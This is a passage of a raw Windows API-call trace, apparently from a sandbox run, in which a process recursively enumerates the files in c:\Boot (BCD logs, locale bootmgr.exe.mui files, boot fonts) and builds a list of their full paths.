out: lpString1="c:\\Boot\\BCD") returned="c:\\Boot\\BCD" [0123.785] lstrlenW (lpString="c:\\Boot\\BCD") returned 11 [0123.785] lstrcpyW (in: lpString1=0x6d13c0, lpString2="c:\\Boot\\BCD" | out: lpString1="c:\\Boot\\BCD") returned="c:\\Boot\\BCD" [0123.785] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.785] lstrcmpW (lpString1="BCD.LOG", lpString2=".") returned 1 [0123.785] lstrcmpW (lpString1="BCD.LOG", lpString2="..") returned 1 [0123.785] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.785] lstrlenW (lpString="BCD.LOG") returned 7 [0123.785] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BCD.LOG" | out: lpString1="c:\\Boot\\BCD.LOG") returned="c:\\Boot\\BCD.LOG" [0123.785] lstrlenW (lpString="c:\\Boot\\BCD.LOG") returned 15 [0123.785] lstrcpyW (in: lpString1=0x6d2868, lpString2="c:\\Boot\\BCD.LOG" | out: lpString1="c:\\Boot\\BCD.LOG") returned="c:\\Boot\\BCD.LOG" [0123.785] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.785] lstrcmpW (lpString1="BCD.LOG1", lpString2=".") returned 1 [0123.785] lstrcmpW (lpString1="BCD.LOG1", lpString2="..") returned 1 [0123.785] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.785] lstrlenW (lpString="BCD.LOG1") returned 8 [0123.785] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BCD.LOG1" | out: lpString1="c:\\Boot\\BCD.LOG1") returned="c:\\Boot\\BCD.LOG1" [0123.785] lstrlenW (lpString="c:\\Boot\\BCD.LOG1") returned 16 [0123.785] lstrcpyW (in: lpString1=0x6d2890, lpString2="c:\\Boot\\BCD.LOG1" | out: lpString1="c:\\Boot\\BCD.LOG1") returned="c:\\Boot\\BCD.LOG1" [0123.785] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.785] lstrcmpW (lpString1="BCD.LOG2", lpString2=".") returned 1 [0123.785] lstrcmpW (lpString1="BCD.LOG2", lpString2="..") returned 1 [0123.785] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.785] lstrlenW (lpString="BCD.LOG2") returned 8 [0123.785] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BCD.LOG2" | out: lpString1="c:\\Boot\\BCD.LOG2") returned="c:\\Boot\\BCD.LOG2" [0123.785] lstrlenW (lpString="c:\\Boot\\BCD.LOG2") returned 16 [0123.785] lstrcpyW (in: lpString1=0x6d28c0, lpString2="c:\\Boot\\BCD.LOG2" | out: lpString1="c:\\Boot\\BCD.LOG2") returned="c:\\Boot\\BCD.LOG2" [0123.785] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.785] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2=".") returned 1 [0123.785] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2="..") returned 1 [0123.785] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.785] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0123.785] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BOOTSTAT.DAT" | out: lpString1="c:\\Boot\\BOOTSTAT.DAT") returned="c:\\Boot\\BOOTSTAT.DAT" [0123.785] lstrlenW (lpString="c:\\Boot\\BOOTSTAT.DAT") returned 20 [0123.785] lstrcpyW (in: lpString1=0x6d28f0, lpString2="c:\\Boot\\BOOTSTAT.DAT" | out: lpString1="c:\\Boot\\BOOTSTAT.DAT") returned="c:\\Boot\\BOOTSTAT.DAT" [0123.785] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.785] lstrcmpW (lpString1="cs-CZ", lpString2=".") returned 1 [0123.785] lstrcmpW (lpString1="cs-CZ", lpString2="..") returned 1 [0123.785] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.785] lstrlenW (lpString="cs-CZ") returned 5 [0123.786] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="cs-CZ" | out: lpString1="c:\\Boot\\cs-CZ") returned="c:\\Boot\\cs-CZ" [0123.786] lstrcatW (in: lpString1="c:\\Boot\\cs-CZ", lpString2="\\" | out: lpString1="c:\\Boot\\cs-CZ\\") returned="c:\\Boot\\cs-CZ\\" [0123.786] lstrlenW (lpString="c:\\Boot\\cs-CZ\\") returned 14 [0123.786] lstrcatW (in: lpString1="c:\\Boot\\cs-CZ\\", lpString2="*" | out: lpString1="c:\\Boot\\cs-CZ\\*") returned="c:\\Boot\\cs-CZ\\*" [0123.786] FindFirstFileW (in: lpFileName="c:\\Boot\\cs-CZ\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.786] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.786] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.786] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.786] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.786] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.786] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0123.786] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0123.786] lstrlenW (lpString="c:\\Boot\\cs-CZ\\") returned 14 [0123.786] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0123.786] lstrcatW (in: lpString1="c:\\Boot\\cs-CZ\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned="c:\\Boot\\cs-CZ\\bootmgr.exe.mui" [0123.786] lstrlenW (lpString="c:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0123.786] lstrcpyW (in: lpString1=0x6d2928, lpString2="c:\\Boot\\cs-CZ\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned="c:\\Boot\\cs-CZ\\bootmgr.exe.mui" [0123.786] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.786] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.786] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.786] lstrcmpW (lpString1="da-DK", lpString2=".") returned 1 [0123.786] lstrcmpW (lpString1="da-DK", lpString2="..") returned 1 [0123.786] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.786] lstrlenW (lpString="da-DK") returned 5 [0123.786] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="da-DK" | out: lpString1="c:\\Boot\\da-DK") returned="c:\\Boot\\da-DK" [0123.786] lstrcatW (in: lpString1="c:\\Boot\\da-DK", lpString2="\\" | out: lpString1="c:\\Boot\\da-DK\\") returned="c:\\Boot\\da-DK\\" [0123.786] lstrlenW (lpString="c:\\Boot\\da-DK\\") returned 14 [0123.786] lstrcatW (in: lpString1="c:\\Boot\\da-DK\\", lpString2="*" | out: lpString1="c:\\Boot\\da-DK\\*") returned="c:\\Boot\\da-DK\\*" [0123.786] FindFirstFileW (in: lpFileName="c:\\Boot\\da-DK\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.787] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.787] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.787] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.787] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.787] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.787] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0123.787] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0123.787] lstrlenW (lpString="c:\\Boot\\da-DK\\") returned 14 [0123.787] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0123.787] lstrcatW (in: lpString1="c:\\Boot\\da-DK\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\da-DK\\bootmgr.exe.mui") returned="c:\\Boot\\da-DK\\bootmgr.exe.mui" [0123.787] lstrlenW (lpString="c:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0123.787] lstrcpyW (in: lpString1=0x6d2970, lpString2="c:\\Boot\\da-DK\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\da-DK\\bootmgr.exe.mui") returned="c:\\Boot\\da-DK\\bootmgr.exe.mui" [0123.787] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.787] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.787] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.787] lstrcmpW (lpString1="de-DE", lpString2=".") returned 1 [0123.787] lstrcmpW (lpString1="de-DE", lpString2="..") returned 1 [0123.787] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.787] lstrlenW (lpString="de-DE") returned 5 [0123.787] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="de-DE" | out: lpString1="c:\\Boot\\de-DE") returned="c:\\Boot\\de-DE" [0123.787] lstrcatW (in: lpString1="c:\\Boot\\de-DE", lpString2="\\" | out: lpString1="c:\\Boot\\de-DE\\") returned="c:\\Boot\\de-DE\\" [0123.787] lstrlenW (lpString="c:\\Boot\\de-DE\\") returned 14 [0123.787] lstrcatW (in: lpString1="c:\\Boot\\de-DE\\", lpString2="*" | out: lpString1="c:\\Boot\\de-DE\\*") returned="c:\\Boot\\de-DE\\*" [0123.787] FindFirstFileW (in: lpFileName="c:\\Boot\\de-DE\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.787] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.787] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.787] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.787] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.787] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.787] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0123.787] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0123.787] lstrlenW (lpString="c:\\Boot\\de-DE\\") returned 14 [0123.787] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0123.787] lstrcatW (in: lpString1="c:\\Boot\\de-DE\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\de-DE\\bootmgr.exe.mui") returned="c:\\Boot\\de-DE\\bootmgr.exe.mui" [0123.787] lstrlenW (lpString="c:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0123.787] lstrcpyW (in: lpString1=0x6d29b8, lpString2="c:\\Boot\\de-DE\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\de-DE\\bootmgr.exe.mui") returned="c:\\Boot\\de-DE\\bootmgr.exe.mui" [0123.787] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.787] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.787] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.787] lstrcmpW (lpString1="el-GR", lpString2=".") returned 1 [0123.788] lstrcmpW (lpString1="el-GR", lpString2="..") returned 1 [0123.788] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.788] lstrlenW (lpString="el-GR") returned 5 [0123.788] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="el-GR" | out: lpString1="c:\\Boot\\el-GR") returned="c:\\Boot\\el-GR" [0123.788] lstrcatW (in: lpString1="c:\\Boot\\el-GR", lpString2="\\" | out: lpString1="c:\\Boot\\el-GR\\") returned="c:\\Boot\\el-GR\\" [0123.788] lstrlenW (lpString="c:\\Boot\\el-GR\\") returned 14 [0123.788] lstrcatW (in: lpString1="c:\\Boot\\el-GR\\", lpString2="*" | out: lpString1="c:\\Boot\\el-GR\\*") returned="c:\\Boot\\el-GR\\*" [0123.788] FindFirstFileW (in: lpFileName="c:\\Boot\\el-GR\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.788] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.788] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.788] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.788] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.788] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.788] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0123.788] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0123.788] lstrlenW (lpString="c:\\Boot\\el-GR\\") returned 14 [0123.788] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0123.788] lstrcatW (in: lpString1="c:\\Boot\\el-GR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\el-GR\\bootmgr.exe.mui") returned="c:\\Boot\\el-GR\\bootmgr.exe.mui" [0123.788] lstrlenW (lpString="c:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0123.788] lstrcpyW (in: lpString1=0x6d2a00, lpString2="c:\\Boot\\el-GR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\el-GR\\bootmgr.exe.mui") returned="c:\\Boot\\el-GR\\bootmgr.exe.mui" [0123.788] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.788] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.788] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.788] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0123.788] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0123.788] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.788] lstrlenW (lpString="en-US") returned 5 [0123.788] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="en-US" | out: lpString1="c:\\Boot\\en-US") returned="c:\\Boot\\en-US" [0123.788] lstrcatW (in: lpString1="c:\\Boot\\en-US", lpString2="\\" | out: lpString1="c:\\Boot\\en-US\\") returned="c:\\Boot\\en-US\\" [0123.788] lstrlenW (lpString="c:\\Boot\\en-US\\") returned 14 [0123.788] lstrcatW (in: lpString1="c:\\Boot\\en-US\\", lpString2="*" | out: lpString1="c:\\Boot\\en-US\\*") returned="c:\\Boot\\en-US\\*" [0123.788] FindFirstFileW (in: lpFileName="c:\\Boot\\en-US\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.788] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.788] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.788] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.788] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.788] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.788] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0123.789] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0123.789] lstrlenW (lpString="c:\\Boot\\en-US\\") returned 14 [0123.789] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0123.789] lstrcatW (in: lpString1="c:\\Boot\\en-US\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\en-US\\bootmgr.exe.mui") returned="c:\\Boot\\en-US\\bootmgr.exe.mui" [0123.789] lstrlenW (lpString="c:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0123.789] lstrcpyW (in: lpString1=0x6d2a48, lpString2="c:\\Boot\\en-US\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\en-US\\bootmgr.exe.mui") returned="c:\\Boot\\en-US\\bootmgr.exe.mui" [0123.789] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.789] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0123.789] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0123.789] lstrlenW (lpString="c:\\Boot\\en-US\\") returned 14 [0123.789] lstrlenW (lpString="memtest.exe.mui") returned 15 [0123.789] lstrcatW (in: lpString1="c:\\Boot\\en-US\\", lpString2="memtest.exe.mui" | out: lpString1="c:\\Boot\\en-US\\memtest.exe.mui") returned="c:\\Boot\\en-US\\memtest.exe.mui" [0123.789] lstrlenW (lpString="c:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0123.789] lstrcpyW (in: lpString1=0x6d2a90, lpString2="c:\\Boot\\en-US\\memtest.exe.mui" | out: lpString1="c:\\Boot\\en-US\\memtest.exe.mui") returned="c:\\Boot\\en-US\\memtest.exe.mui" [0123.789] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.789] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.789] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.789] lstrcmpW (lpString1="es-ES", lpString2=".") returned 1 [0123.789] lstrcmpW (lpString1="es-ES", lpString2="..") returned 1 [0123.789] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.789] lstrlenW (lpString="es-ES") returned 5 [0123.789] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="es-ES" | out: lpString1="c:\\Boot\\es-ES") returned="c:\\Boot\\es-ES" [0123.789] lstrcatW (in: lpString1="c:\\Boot\\es-ES", lpString2="\\" | out: lpString1="c:\\Boot\\es-ES\\") returned="c:\\Boot\\es-ES\\" [0123.789] lstrlenW (lpString="c:\\Boot\\es-ES\\") returned 14 [0123.789] lstrcatW (in: lpString1="c:\\Boot\\es-ES\\", lpString2="*" | out: lpString1="c:\\Boot\\es-ES\\*") returned="c:\\Boot\\es-ES\\*" [0123.789] FindFirstFileW (in: lpFileName="c:\\Boot\\es-ES\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.789] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.789] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.789] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.789] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.789] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.789] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0123.789] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0123.789] lstrlenW (lpString="c:\\Boot\\es-ES\\") returned 14 [0123.789] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0123.789] lstrcatW (in: lpString1="c:\\Boot\\es-ES\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\es-ES\\bootmgr.exe.mui") returned="c:\\Boot\\es-ES\\bootmgr.exe.mui" [0123.789] lstrlenW (lpString="c:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0123.789] lstrcpyW (in: lpString1=0x6d2ad8, lpString2="c:\\Boot\\es-ES\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\es-ES\\bootmgr.exe.mui") returned="c:\\Boot\\es-ES\\bootmgr.exe.mui" [0123.789] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.789] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.790] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.790] lstrcmpW (lpString1="fi-FI", lpString2=".") returned 1 [0123.790] lstrcmpW (lpString1="fi-FI", lpString2="..") returned 1 [0123.790] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.790] lstrlenW (lpString="fi-FI") returned 5 [0123.790] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="fi-FI" | out: lpString1="c:\\Boot\\fi-FI") returned="c:\\Boot\\fi-FI" [0123.790] lstrcatW (in: lpString1="c:\\Boot\\fi-FI", lpString2="\\" | out: lpString1="c:\\Boot\\fi-FI\\") returned="c:\\Boot\\fi-FI\\" [0123.790] lstrlenW (lpString="c:\\Boot\\fi-FI\\") returned 14 [0123.790] lstrcatW (in: lpString1="c:\\Boot\\fi-FI\\", lpString2="*" | out: lpString1="c:\\Boot\\fi-FI\\*") returned="c:\\Boot\\fi-FI\\*" [0123.790] FindFirstFileW (in: lpFileName="c:\\Boot\\fi-FI\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.790] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.790] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.790] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.790] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.790] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.790] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0123.790] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0123.790] lstrlenW (lpString="c:\\Boot\\fi-FI\\") returned 14 [0123.790] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0123.790] lstrcatW (in: lpString1="c:\\Boot\\fi-FI\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\fi-FI\\bootmgr.exe.mui") returned="c:\\Boot\\fi-FI\\bootmgr.exe.mui" [0123.790] lstrlenW (lpString="c:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0123.790] lstrcpyW (in: lpString1=0x6d2b20, lpString2="c:\\Boot\\fi-FI\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\fi-FI\\bootmgr.exe.mui") returned="c:\\Boot\\fi-FI\\bootmgr.exe.mui" [0123.790] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.790] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.790] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.790] lstrcmpW (lpString1="Fonts", lpString2=".") returned 1 [0123.790] lstrcmpW (lpString1="Fonts", lpString2="..") returned 1 [0123.790] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.790] lstrlenW (lpString="Fonts") returned 5 [0123.790] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="Fonts" | out: lpString1="c:\\Boot\\Fonts") returned="c:\\Boot\\Fonts" [0123.790] lstrcatW (in: lpString1="c:\\Boot\\Fonts", lpString2="\\" | out: lpString1="c:\\Boot\\Fonts\\") returned="c:\\Boot\\Fonts\\" [0123.790] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0123.790] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="*" | out: lpString1="c:\\Boot\\Fonts\\*") returned="c:\\Boot\\Fonts\\*" [0123.790] FindFirstFileW (in: lpFileName="c:\\Boot\\Fonts\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.790] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.790] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.791] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.791] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.791] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.791] lstrcmpW (lpString1="chs_boot.ttf", lpString2=".") returned 1 [0123.791] lstrcmpW (lpString1="chs_boot.ttf", lpString2="..") returned 1 [0123.791] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0123.791] lstrlenW (lpString="chs_boot.ttf") returned 12 [0123.791] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="chs_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\chs_boot.ttf") returned="c:\\Boot\\Fonts\\chs_boot.ttf" [0123.791] lstrlenW (lpString="c:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0123.791] lstrcpyW (in: lpString1=0x6d2b68, lpString2="c:\\Boot\\Fonts\\chs_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\chs_boot.ttf") returned="c:\\Boot\\Fonts\\chs_boot.ttf" [0123.791] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.791] lstrcmpW (lpString1="cht_boot.ttf", lpString2=".") returned 1 [0123.791] lstrcmpW (lpString1="cht_boot.ttf", lpString2="..") returned 1 [0123.791] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0123.791] lstrlenW (lpString="cht_boot.ttf") returned 12 [0123.791] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="cht_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\cht_boot.ttf") returned="c:\\Boot\\Fonts\\cht_boot.ttf" [0123.791] lstrlenW (lpString="c:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0123.791] lstrcpyW (in: lpString1=0x6d2ba8, lpString2="c:\\Boot\\Fonts\\cht_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\cht_boot.ttf") returned="c:\\Boot\\Fonts\\cht_boot.ttf" [0123.791] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.791] lstrcmpW (lpString1="jpn_boot.ttf", lpString2=".") returned 1 [0123.791] lstrcmpW (lpString1="jpn_boot.ttf", lpString2="..") returned 1 [0123.791] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0123.791] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0123.791] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="jpn_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\jpn_boot.ttf") returned="c:\\Boot\\Fonts\\jpn_boot.ttf" [0123.791] lstrlenW (lpString="c:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0123.791] lstrcpyW (in: lpString1=0x6d2be8, lpString2="c:\\Boot\\Fonts\\jpn_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\jpn_boot.ttf") returned="c:\\Boot\\Fonts\\jpn_boot.ttf" [0123.791] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.791] lstrcmpW (lpString1="kor_boot.ttf", lpString2=".") returned 1 [0123.791] lstrcmpW (lpString1="kor_boot.ttf", lpString2="..") returned 1 [0123.791] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0123.791] lstrlenW (lpString="kor_boot.ttf") returned 12 [0123.791] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="kor_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\kor_boot.ttf") returned="c:\\Boot\\Fonts\\kor_boot.ttf" [0123.791] lstrlenW (lpString="c:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0123.791] lstrcpyW (in: lpString1=0x6d2c28, lpString2="c:\\Boot\\Fonts\\kor_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\kor_boot.ttf") returned="c:\\Boot\\Fonts\\kor_boot.ttf" [0123.791] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.791] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2=".") returned 1 [0123.791] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2="..") returned 1 [0123.791] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0123.791] lstrlenW 